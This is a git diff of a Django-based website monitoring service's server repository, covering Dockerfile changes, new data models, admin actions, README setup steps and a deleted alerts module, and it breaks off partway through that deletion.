diff --git a/.gitignore b/.gitignore index 808f4df3..780009eb 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,6 @@ -app/api/scan_tests/testing_stuff.py +app/api/utils/testing_stuff.py app/data* -app/api/scan_tests/__pycache__/tester.cpython-38.pyc +app/api/utils/__pycache__/tester.cpython-38.pyc .DS_Store *__pycache__* db.sqlite3 @@ -10,7 +10,13 @@ __pycache__/ */__pycache__/* **/__pycache__/ server/app/env* -env/.env.staging +env/.env.local env/.env.dev env/.env.prod env/.env.prod.db +app/static* +Dockerfile.alpine +Dockerfile.dev1 +Dockerfile.dev3 +app/api/migrations/*_*.py +k8s/*/*-configs.yaml diff --git a/Dockerfile b/Dockerfile index d4488583..c1f55754 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,36 +1,47 @@ -FROM python:3.8-alpine - +FROM python:3.9-slim ENV PYTHONUNBUFFERED 1 -COPY ./requirements.txt /requirements.txt # create the app user -RUN addgroup -S app && adduser -S app -G app - -RUN apk add --update --no-cache postgresql-client jpeg-dev +RUN addgroup --system app && adduser --system app -RUN apk add --update --no-cache --virtual .tmp-build-deps \ - gcc libc-dev linux-headers postgresql-dev musl-dev zlib zlib-dev \ - wget curl unzip -RUN pip install -r /requirements.txt -RUN apk del .tmp-build-deps -RUN apk --no-cache add curl +# installing python3 & pip +RUN apt-get update && apt-get install -y python3 python3-pip -# installing chromium and chromium-chromedriver -RUN apk add --update --no-cache chromium chromium-chromedriver +# installing system deps +RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \ + gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ + libfontconfig # installing node and npm -RUN apk add --update nodejs npm +RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ + && npm install -g n && n lts + +# increasing allocated memory to node +RUN export NODE_OPTIONS="--max-old-space-size=4096" + +# installing lighthouse & yellowlabtools +RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools -# installing lighthouse -RUN npm install -g lighthouse +# telling Puppeteer to skip installing Chrome +ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true +# telling phantomas where Chromium binary is and that we're in docker +ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium +ENV DOCKERIZED yes + +# setting --no-sandbox for Phantomas +RUN chromium --no-sandbox --version + +# installing requirements +COPY ./requirements.txt /requirements.txt +RUN python3 -m pip install -r /requirements.txt + +# setting working dir RUN mkdir /app COPY ./app /app WORKDIR /app -# # chown all the files to the app user -# RUN chown -R app:app /app - -# # change to the app user -# USER app \ No newline at end of file +# setting ownership +RUN chown -R app:app /app +RUN chown -R app:app /usr/bin/chromium \ No newline at end of file diff --git a/Dockerfile.prod b/Dockerfile.prod index e8a614be..eb8edf96 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -1,36 +1,52 @@ -FROM python:3.8-alpine - +FROM python:3.9-slim ENV PYTHONUNBUFFERED 1 -COPY ./requirements.txt /requirements.txt # create the app user -RUN addgroup -S app && adduser -S app -G app - -RUN apk add --update --no-cache postgresql-client jpeg-dev +RUN addgroup --system app && adduser --system app -RUN apk add --update --no-cache --virtual .tmp-build-deps \ - gcc libc-dev linux-headers postgresql-dev musl-dev zlib zlib-dev \ - wget curl unzip -RUN pip install -r /requirements.txt -RUN apk del .tmp-build-deps -RUN apk --no-cache add curl +# installing python3 & pip +RUN apt-get update && apt-get install -y python3 python3-pip -# installing chromium and chromium-chromedriver -RUN apk add --update --no-cache chromium chromium-chromedriver +# installing system deps +RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \ + gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ + libfontconfig git # installing node and npm -RUN apk add --update nodejs npm +RUN apt-get update && apt-get install nodejs npm -y \ + && npm install -g n && n lts + +RUN npm cache clean --force + +# increasing allocated memory to node +# RUN export NODE_OPTIONS="--max-old-space-size=7000" +# RUN export NODE_OPTIONS="--stack-size=262000" +ENV NODE_OPTIONS=--max_old_space_size=7000 +ENV NODE_OPTIONS="--max-old-space-size=7000" +# ENV NODE_OPTIONS=--stack-size=262000 + +# installing lighthouse & yellowlabtools +RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools -# installing lighthouse -RUN npm install -g lighthouse +# telling Puppeteer to skip installing Chrome +ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true +# telling phantomas where Chromium binary is and that we're in docker +ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium +ENV DOCKERIZED yes + +# setting --no-sandbox for Phantomas +RUN chromium --no-sandbox --version + +# installing requirements +COPY ./requirements.txt /requirements.txt +RUN python3 -m pip install -r /requirements.txt + +# setting working dir RUN mkdir /app COPY ./app /app -RUN rm -rf /app/static; mkdir /app/static WORKDIR /app -# # chown all the files to the app user -# RUN chown -R app /app - -# # change to the app user -# USER app \ No newline at end of file +# setting ownership +RUN chown -R app:app /app +RUN chown -R app:app /usr/bin/chromium \ No newline at end of file diff --git a/LICENSE.md b/LICENSE.md index 838f8ab3..ea474ece 100644 --- a/LICENSE.md +++ b/LICENSE.md @@ -1,4 +1,4 @@ -Copyright (c) 2021 Scanerr +Copyright (c) 2023 Scanerr Scanerr Commercial Software License Terms diff --git a/README.md b/README.md index b65da111..d7c28503 100644 --- a/README.md +++ b/README.md @@ -7,7 +7,7 @@ This is the server repo for the Scanerr API, an error detection service designed > This software is only intended for internal white-label use and is not licensed for redristibution. See LICENSE for more information. -Copyright © Scanerr 2021 +Copyright © Scanerr 2023 ---   @@ -16,10 +16,13 @@ Copyright © Scanerr 2021   #### Env's and deployment - +- [Scanerr Server (API repo)](#scanerr-server-api-repo) + - [Table of Contents](#table-of-contents) + - [Env's and deployment](#envs-and-deployment) - [Environment](#environment) - [Local](#local) - [Remote](#remote) + - [Scripts](#scripts)   @@ -29,13 +32,17 @@ Copyright © Scanerr 2021 ## Environment -Prior to running locally, configure all env's located in the /env directory. **For remote deployment, create all .env's in the deployed environment. Never store actual .env's in a repo.** Things to change: -- email addresses -- passwords -- usernames -- allowed hosts -- external API services and keys -- domain names (server and client) +Prior to running app, configure all env's located in the /env directory. There are example .env files for both production and local environments marked `.env.dev.example` and `.env.prod.example`. Prior to running the app, be sure to update with your unique keys, domains, passwords, etc, and remove the `.example` extention from the files. **Never store actual .env's in a repo.** Things to change: +- high level django configs +- admin credentials +- email credentials +- database configs +- google API keys +- stripe keys +- OAuth keys +- twilio credentials +- slack credentials +- s3 remote storage credentials   @@ -52,15 +59,15 @@ $ pip3 install virtualenv $ virtualenv appenv $ source appenv/bin/activate $ mkdir app -$ git clone https://github.com/Scanerr-io/api-test.git +$ git clone https://github.com/Scanerr-io/server.git ``` *Spin-up the application* ```shell -$ docker-compose up --build +$ docker compose up --build ``` *Spin-down the application* ```shell -$ docker-compose up down +$ docker compose up down ```   @@ -84,6 +91,26 @@ $ ssh root@your_server_ip # ufw enable # su {user} ``` + +*Add user to docker group* +```shell +$ sudo usermod -aG docker {user} +$ newgrp docker +``` + +*Generate SSH keys for GitHub* +``` shell +$ ssh-keygen -t ed25519 -C "your_github_email@example.com" +``` +- press `Enter` 3 times +```shell +$ eval "$(ssh-agent -s)" +$ ssh-add ~/.ssh/id_ed25519 +$ cat ~/.ssh/id_ed25519.pub +``` +- copy key to clipboard and paste in GutHub + + *Create a dir to clone the app into* ``` shell $ cd ~ @@ -93,13 +120,27 @@ $ git clone https://github.com/Scanerr-io/server.git ``` *Spin-up the application* ```shell -$ docker-compose -f docker-compose.prod.yml up -d --build +$ docker compose -f docker-compose.prod.yml up -d --build ``` *Spin-down the application* ```shell -$ docker-compose -f docker-compose.prod.yml down +$ docker compose -f docker-compose.prod.yml down ``` *Spin-down the application and removes the volumes* ```shell $ docker-compose -f docker-compose.prod.yml down -v -``` \ No newline at end of file +``` + + +  + +--- + +  + +## Scripts + +*ssh into container* +``` shell +$ docker exec -it /bin/sh +``` diff --git a/app/api/admin.py b/app/api/admin.py index 4d664019..16e08a0b 100644 --- a/app/api/admin.py +++ b/app/api/admin.py @@ -1,42 +1,91 @@ from django.contrib import admin -from .models import ( - Site, Test, Scan, Account, - Card, Log, Schedule, Automation -) +from .models import * +from datetime import datetime + @admin.register(Site) class SiteAdmin(admin.ModelAdmin): list_display = ('site_url', 'user', 'time_created') search_fields = ('site_url',) + @admin.register(Test) class TestAdmin(admin.ModelAdmin): - list_display = ('__str__', 'time_created', 'type') + list_display = ('id', 'site', 'time_created', 'time_completed', 'type') search_fields = ('site',) + @admin.register(Scan) class ScanAdmin(admin.ModelAdmin): - list_display = ('__str__', 'time_created') + list_display = ('id', 'site', 'time_created', 'time_completed') search_fields = ('site',) + actions = ['mark_as_completed',] + + def mark_as_completed(self, request, queryset): + queryset.update(time_completed=datetime.now()) + @admin.register(Account) class AccountAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'type') search_fields = ('__str__',) + +@admin.register(Member) +class MemberAdmin(admin.ModelAdmin): + list_display = ('user', 'account', 'time_created', 'type', 'status') + search_fields = ('user__username', 'account__name') + + @admin.register(Card) class CardAdmin(admin.ModelAdmin): list_display = ('__str__', 'brand', 'last_four') search_fields = ('last_four',) + +@admin.register(Report) +class ReportAdmin(admin.ModelAdmin): + list_display = ('__str__', 'time_created', 'user') + + @admin.register(Log) class LogAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'status', 'user') + @admin.register(Schedule) class ScheduleAdmin(admin.ModelAdmin): list_display = ('__str__', 'time_created', 'status', 'user') + @admin.register(Automation) class AutomationAdmin(admin.ModelAdmin): - list_display = ('__str__', 'time_created', 'schedule', 'user') \ No newline at end of file + list_display = ('__str__', 'time_created', 'schedule', 'user') + + +@admin.register(Process) +class ProcessAdmin(admin.ModelAdmin): + list_display = ('__str__', 'time_created', 'time_completed', 'progress', 'successful') + + +@admin.register(Case) +class CaseAdmin(admin.ModelAdmin): + list_display = ('__str__', 'user', 'time_created',) + + +@admin.register(Testcase) +class TestcaseAdmin(admin.ModelAdmin): + list_display = ('__str__', 'user', 'time_created', 'time_completed',) + + +@admin.register(Mask) +class MaskAdmin(admin.ModelAdmin): + list_display = ('__str__', 'mask_id', 'active', 'time_created',) + search_fields = ('mask_id',) + actions = ['mark_as_inactive', 'mark_as_active',] + + def mark_as_inactive(self, request, queryset): + queryset.update(active=False) + + def mark_as_active(self, request, queryset): + queryset.update(active=True) \ No newline at end of file diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py index 7e9797b3..77c68bd6 100644 --- a/app/api/management/commands/create_admin.py +++ b/app/api/management/commands/create_admin.py @@ -1,18 +1,37 @@ from django.core.management.base import BaseCommand +from rest_framework.authtoken.models import Token from django.contrib.auth.models import User +from ...models import Account +from ...utils.verify import verify import os class Command(BaseCommand): def handle(self, *args, **options): + username = os.environ.get('ADMIN_USER') + email = os.environ.get('ADMIN_EMAIL') + password = os.environ.get('ADMIN_PASS') if User.objects.filter(is_superuser=True).count() == 0: - username = os.environ.get('ADMIN_USER') - email = os.environ.get('ADMIN_EMAIL') - password = os.environ.get('ADMIN_PASS') - print('Creating account for %s (%s)' % (username, email)) + print('Creating Admin User for %s (%s)' % (username, email)) admin = User.objects.create_superuser(email=email, username=username, password=password) admin.is_active = True admin.is_superuser = True admin.save() else: - print('Admin accounts can only be initialized if no Accounts exist') \ No newline at end of file + print('Admin Users can only be initialized if no Admin User exist') + + user = User.objects.get(username=username) + if not Account.objects.filter(user=user).exists(): + print('Funding account for %s' % (username)) + Account.objects.create( + user=user, + active=True, + type='enterprise', + max_sites=10000, + ) + else: + print('Accounts can only be initialized if no Accounts exist') + + if not Token.objects.filter(user=user).exists(): + Token.objects.create(user=user) + # verify() \ No newline at end of file diff --git a/app/api/management/commands/driver_p_test.py b/app/api/management/commands/driver_p_test.py new file mode 100644 index 00000000..c85d2705 --- /dev/null +++ b/app/api/management/commands/driver_p_test.py @@ -0,0 +1,14 @@ +from ...utils.driver_p import driver_test +from django.core.management.base import BaseCommand +import asyncio + +# testing puppeteer, pyppeteer, and chromium installation and configs + +class Command(BaseCommand): + + def handle(self, *args, **options): + asyncio.run(driver_test()) + + + + diff --git a/app/api/management/commands/driver_s_test.py b/app/api/management/commands/driver_s_test.py new file mode 100644 index 00000000..3ae6438a --- /dev/null +++ b/app/api/management/commands/driver_s_test.py @@ -0,0 +1,11 @@ +from ...utils.driver_s import driver_test +from django.core.management.base import BaseCommand + +# testing selenium, chromedriver, and chromium installation and configs + +class Command(BaseCommand): + + def handle(self, *args, **options): + driver_test() + + diff --git a/app/api/management/commands/driver_test.py b/app/api/management/commands/driver_test.py deleted file mode 100644 index 02761f61..00000000 --- a/app/api/management/commands/driver_test.py +++ /dev/null @@ -1,28 +0,0 @@ -from ...scan_tests.driver_init import driver_init -from django.core.management.base import BaseCommand -from selenium import webdriver -from selenium.webdriver.chrome.options import Options -import time, os, sys - -# testing selenium, chromedriver, and chromium installation and configs - -class Command(BaseCommand): - - def handle(self, *args, **options): - try: - driver = driver_init() - driver.get('https://google.com') - title = driver.title - if title == 'Google': - status = 'Success' - else: - status = 'Failed' - except: - status = 'Failed' - title = 'NO TITLE RETURNED' - - sys.stdout.write('Test results --> ' + status +'\n' - + 'Returned title was --> ' + title +'\n' - ) - sys.exit(0) - diff --git a/app/api/models.py b/app/api/models.py index 1e59c360..72e5b54d 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -11,51 +11,138 @@ def get_info_default(): info_default = { 'latest_scan': { - 'id': '', - 'time_created': '', + 'id': None, + 'time_created': None, + 'time_completed': None, }, 'latest_test': { - 'id': '', - 'time_created': '', - 'score': '' + 'id': None, + 'time_created': None, + 'time_completed': None, + 'score': None }, 'lighthouse': { - 'average': '', - 'seo': '', - 'performance': '', - 'accessibility': '', - 'best_practices': '', + 'average': None, + 'seo': None, + 'pwa': None, + 'crux': None, + 'performance': None, + 'accessibility': None, + 'best_practices': None, + }, + 'yellowlab': { + 'globalScore': None, + 'pageWeight': None, + 'requests': None, + 'domComplexity': None, + 'javascriptComplexity': None, + 'badJavascript': None, + 'jQuery': None, + 'cssComplexity': None, + 'badCSS': None, + 'fonts': None, + 'serverConfig': None, }, 'status': { - 'ping': '', - 'health': '', + 'health': None, 'badge': 'neutral', + 'score': None, }, } return info_default -def get_scores_delta_default(): - scores_delta_default = { - "seo_delta": None, - "current_average": None, - "performance_delta": None, - "accessibility_delta": None, - "best_practices_delta": None +def get_lh_delta_default(): + lh_delta_default = { + "scores": { + "seo_delta": None, + "performance_delta": None, + "accessibility_delta": None, + "best-practices_delta": None, + "pwa_delta": None, + "crux_delta": None, + "average_delta" : None, + "current_average": None, + }, } - return scores_delta_default - - - -def get_audits_default(): - audits_default = { - "seo": [], - "performance": [], - "accessibility": [], - "best-practices": [] + return lh_delta_default + + + +def get_yl_delta_default(): + yl_delta_default = { + "scores": { + "average_delta": None, + "pageWeight_delta": None, + "requests_delta": None, + "domComplexity_delta": None, + "javascriptComplexity_delta": None, + "badJavascript_delta": None, + "jQuery_delta": None, + "cssComplexity_delta": None, + "badCSS_delta": None, + "fonts_delta": None, + "serverConfig_delta": None, + }, + } + return yl_delta_default + + + +def get_lh_default(): + lh_default = { + "scores": { + "seo": None, + "performance": None, + "accessibility": None, + "best_practices": None, + "pwa": None, + "crux": None, + "average": None + }, + "audits": { + "seo": [], + "performance": [], + "accessibility": [], + "best-practices": [], + "pwa": [], + "crux": [] + }, } - return audits_default + return lh_default + + + +def get_yl_default(): + yl_default = { + "scores": { + "globalScore": None, + "pageWeight": None, + "requests": None, + "domComplexity": None, + "javascriptComplexity": None, + "badJavascript": None, + "jQuery": None, + "cssComplexity": None, + "badCSS": None, + "fonts": None, + "serverConfig": None, + }, + "audits": { + "pageWeight": [], + "requests": [], + "domComplexity": [], + "javascriptComplexity": [], + "badJavascript": [], + "jQuery": [], + "cssComplexity": [], + "badCSS": [], + "fonts": [], + "serverConfig": [], + }, + } + return yl_default @@ -73,6 +160,7 @@ def get_expressions_default(): return expressions_default + def get_actions_default(): actions_default = { 'list': [ @@ -89,6 +177,40 @@ def get_actions_default(): return actions_default + + +def get_steps_default(): + steps_default = [ + { + 'action': { + 'type': None, + 'element': None, + 'path': None, + 'text': None, + }, + 'assertion': { + 'type': None, + 'element': None, + 'text': None, + }, + }, + ] + return steps_default + + + +def get_scores_default(): + scores_default = { + 'html': None, + 'logs': None, + 'lighthouse': None, + 'yellowlab': None, + 'vrt': None + } + return scores_default + + + def get_slack_default(): slack_default = { "slack_name": None, @@ -101,13 +223,74 @@ def get_slack_default(): return slack_default +def get_tags_default(): + tags_default = None, + return tags_default + + + + +class Account(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + name = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) + active = models.BooleanField(default=False, serialize=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free') + code = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + max_sites = models.IntegerField(serialize=True, null=True, blank=True, default=1) + cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + price_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default) + + def __str__(self): + return self.user.email + + + + +class Card(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True) + pay_method_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + brand = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + exp_month = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + exp_year = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + last_four = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + + def __str__(self): + return self.user.email + + + + +class Member(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True) + user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True, null=True, blank=True) + email = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # created by Account admin + status = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # pending, active + type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # admin, contributor, client + time_created = models.DateTimeField(default=timezone.now, serialize=True) + + def __str__(self): + return f'{self.email}__{self.account.name}' + + + + class Site(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default) + tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) def __str__(self): return f'{self.site_url}' @@ -117,15 +300,20 @@ def __str__(self): class Scan(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True, blank=True) - paired_scan = models.ForeignKey('self', on_delete=models.CASCADE, serialize=True, null=True, blank=True) + paired_scan = models.ForeignKey('self', on_delete=models.SET_NULL, serialize=True, null=True, blank=True) + type = models.JSONField(serialize=True, null=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) + time_completed = models.DateTimeField(serialize=True, null=True, blank=True) html = models.TextField(serialize=True, null=True, blank=True) logs = models.JSONField(serialize=True, null=True, blank=True) - scores = models.JSONField(serialize=True, null=True, blank=True) - audits = models.JSONField(serialize=True, null=True, blank=True, default=get_audits_default) + images = models.JSONField(serialize=True, null=True, blank=True) + lighthouse = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_default) + yellowlab = models.JSONField(serialize=True, null=True, blank=True, default=get_yl_default) + configs = models.JSONField(serialize=True, null=True, blank=True) + tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) def __str__(self): - return f'{self.site.site_url}__scan' + return f'{self.id}__scan' @@ -134,51 +322,22 @@ class Test(models.Model): site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) time_completed = models.DateTimeField(serialize=True, null=True, blank=True) - type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # (1) html (2) error_logs TODO decide on this attr - pre_scan = models.ForeignKey(Scan, on_delete=models.CASCADE, serialize=True, null=True, blank=True, related_name='pre_scan') - post_scan = models.ForeignKey(Scan, on_delete=models.CASCADE, serialize=True, null=True, blank=True, related_name='post_scan') + type = models.JSONField(serialize=True, null=True, blank=True) + pre_scan = models.ForeignKey(Scan, on_delete=models.SET_NULL, serialize=True, null=True, blank=True, related_name='pre_scan') + post_scan = models.ForeignKey(Scan, on_delete=models.SET_NULL, serialize=True, null=True, blank=True, related_name='post_scan') score = models.FloatField(serialize=True, null=True, blank=True) + component_scores = models.JSONField(serialize=True, null=True, blank=True, default=get_scores_default) html_delta = models.JSONField(serialize=True, null=True, blank=True) logs_delta = models.JSONField(serialize=True, null=True, blank=True) - scores_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_scores_delta_default) - - def __str__(self): - return f'{self.site.site_url}__test' - - - - -class Account(models.Model): - id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) - user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) - active = models.BooleanField(default=False, serialize=True) - time_created = models.DateTimeField(default=timezone.now, serialize=True) - type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - max_sites = models.IntegerField(serialize=True, null=True, blank=True) - cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - price_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default) - - def __str__(self): - return self.user.email - - - - -class Card(models.Model): - id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) - user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) - account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True) - pay_method_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - brand = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - exp_month = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - exp_year = models.CharField(max_length=1000, serialize=True, null=True, blank=True) - last_four = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + lighthouse_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_delta_default) + yellowlab_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_yl_delta_default) + images_delta = models.JSONField(serialize=True, null=True, blank=True) + tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) + pre_scan_configs = models.JSONField(serialize=True, null=True, blank=True) + post_scan_configs = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): - return self.user.email + return f'{self.id}__test' @@ -189,7 +348,8 @@ class Schedule(models.Model): automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto') time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True) user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) - task_type = models.CharField(max_length=100, default='test', serialize=True) # report, scan, test + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) + task_type = models.CharField(max_length=100, default='test', serialize=True) # report, scan, test, testcase timezone = models.CharField(max_length=100, null=True, blank=True, serialize=True) begin_date = models.DateTimeField(default=datetime.now, serialize=True) time = models.CharField(max_length=100, null=True, blank=True, serialize=True) @@ -198,6 +358,7 @@ class Schedule(models.Model): crontab_id = models.CharField(max_length=500, null=True, blank=True, serialize=True) periodic_task_id = models.CharField(max_length=500, null=True, blank=True, serialize=True) status = models.CharField(max_length=100, default='Active', null=True, blank=True, serialize=True) + extras = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): return f'{self.site.site_url}__{self.task_type}' @@ -209,6 +370,7 @@ class Automation(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) name = models.CharField(max_length=1000, serialize=True, null=True, blank=True) user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) schedule = models.ForeignKey(Schedule, on_delete=models.CASCADE, null=True, blank=True, serialize=True, related_name='assoc_sch') expressions = models.JSONField(serialize=True, null=True, blank=True, default=get_expressions_default) @@ -216,10 +378,92 @@ class Automation(models.Model): def __str__(self): return f'{self.name}' + + + + + +class Report(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + path = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + type = models.JSONField(serialize=True, null=True, blank=True) # array of [lighthouse, yellowlab] + info = models.JSONField(serialize=True, null=True, blank=True) + + def __str__(self): + return f'{self.site.site_url}__report' + + + + + +class Case(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + name = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + steps = models.JSONField(serialize=True, null=True, blank=True, default=get_steps_default) + tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) + + def __str__(self): + return f'{self.name}' + + + + +class Testcase(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True, serialize=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) + case = models.ForeignKey(Case, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + case_name = models.CharField(max_length=1000, null=True, blank=True, serialize=True) + site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + time_completed = models.DateTimeField(null=True, blank=True, serialize=True) + passed = models.BooleanField(default=False, serialize=True) + steps = models.JSONField(serialize=True, null=True, blank=True) + configs = models.JSONField(serialize=True, null=True, blank=True) + + def __str__(self): + return f'{self.case.name}__testcase' + + +class Mask(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + active = models.BooleanField(serialize=True, default=True) + mask_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + + def __str__(self): + return f'{self.id}__mask' + + + + +class Process(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + time_completed = models.DateTimeField(serialize=True, null=True, blank=True) + successful = models.BooleanField(serialize=True, default=False) + info_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + progress = models.FloatField(serialize=True, null=True, blank=True) + + def __str__(self): + return f'{self.id}__process' + + + + class Log(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) diff --git a/app/api/scan_tests/alerts.py b/app/api/scan_tests/alerts.py deleted file mode 100644 index 2d6288f9..00000000 --- a/app/api/scan_tests/alerts.py +++ /dev/null @@ -1,329 +0,0 @@ -from django.core.mail import send_mail, send_mass_mail -from django.contrib.auth.models import User -from django.template.loader import render_to_string -from datetime import date -import os, operator, json, requests, uuid -from django.utils.html import strip_tags -from django.contrib.auth.models import User -from rest_framework.response import Response -from ..models import (Schedule, Automation, Test, Scan, Site, Account) -from twilio.rest import Client -from slack_sdk.web import WebClient -from slack_sdk.errors import SlackApiError - - - - - -def automation_email(email=None, automation_id=None, scan_or_test_id=None): - if email and automation_id: - automation = Automation.objects.get(id=automation_id) - schedule = automation.schedule - site = schedule.site - - try: - item = Test.objects.get(id=uuid.UUID(scan_or_test_id)) - item_type = 'Test' - except: - try: - item = Scan.objects.get(id=uuid.UUID(scan_or_test_id)) - item_type = 'Scan' - except: - return {'success': False} - - exp_list = [] - for e in automation.expressions: - if 'test_score' in e['data_type']: - data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t' - elif 'current_average' in e['data_type']: - data_type = 'Health:\t'+str(item.scores_delta["current_average"])+'\n\t' - elif 'seo_delta' in e['data_type']: - data_type = 'SEO Delta:\t'+str(item.scores_delta["seo_delta"])+'\n\t' - elif 'best_practices_delta' in e['data_type']: - data_type = 'Best Practicies Delta:\t'+str(item.scores_delta["best_practices_delta"])+'\n\t' - elif 'performance_delta' in e['data_type']: - data_type = 'Performance Delta:\t'+str(item.scores_delta["performance_delta"])+'\n\t' - elif 